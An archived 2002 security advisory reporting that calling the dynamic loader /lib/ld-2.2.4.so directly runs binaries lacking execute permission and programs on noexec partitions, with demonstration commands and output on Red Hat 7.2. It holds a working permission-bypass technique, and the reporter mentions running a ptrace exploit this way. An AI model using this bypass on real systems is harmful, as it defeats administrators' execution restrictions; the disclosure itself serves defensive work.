26th Sep 2002 [SBWID-5304]
COMMAND
	Lib ld-2.2.4.so allows access to restricted files
SYSTEMS AFFECTED
	Tested on  Red  Hat  Linux  7.2  (2.4.18  kernel  with  grsecurity-1.9.4
	enabled)
PROBLEM
	Dan Sabau says :
	
	lrwxrwxrwx    1 root     root           11 Apr 15 12:01 /lib/ld-linux.so.2 -> ld-2.2.4.so
	
	This file gives users the ability of running binaries on witch the  user
	doesn't have the permission to  execute,  it  is  enough  to  have  read
	ability on the file in order to execute it:
	
	-rwxr-xr--    1 root     root        45948 Aug  9  2001 /bin/ls
	
	but using the /lib/ld-2.2.4.so file i can execute the ls command:
	
	[08:51:36][draven@Zero:~]:$/lib/ld-2.2.4.so /bin/ls /
	bin   bzImage   bzImage3  bzImage5  dev  home    lib   mnt  proc  sbin  
	usr
	boot  bzImage2  bzImage4  bzImage6  etc  initrd  misc  opt  root  tmp   
	var
	
	i do not have root preveleges on this account:
	
	[08:51:38][draven@Zero:~]:$id
	uid=1000(draven) gid=10(wheel) groups=10(wheel),16(trust)
	
	The most interesting part is  running  binaries  on  partitions  mounted
	with noexec, lets take this partition:
	
	/dev/sda9 on /home/friends type ext2 
	(rw,noexec,nosuid,nodev,usrquota,grpquota)
	
	i've created a shell acount with the home directory:
	
	[mjj@Zero mjj]$ pwd
	/home/friends/mjj
	
	and wrote this C code in a file test.c
	
	#include <stdio.h>
	void main(void)
	{
	        printf ("Test");
	}
	
	i've compiled it & tryed to run:
	
	[mjj@Zero mjj]$ ./a.out
	bash: ./a.out: Permission denied
	but when i try to run it with /lib/ld-2.2.4.so:
	[mjj@Zero mjj]$ /lib/ld-2.2.4.so ./a.out
	Test
	
	the important thing is to include a full path in the binary name  to  be
	able to execute it. in the same way  i've  managed  to  run  the  ptrace
	exploit on a nosuid partition
SOLUTION
	None yet.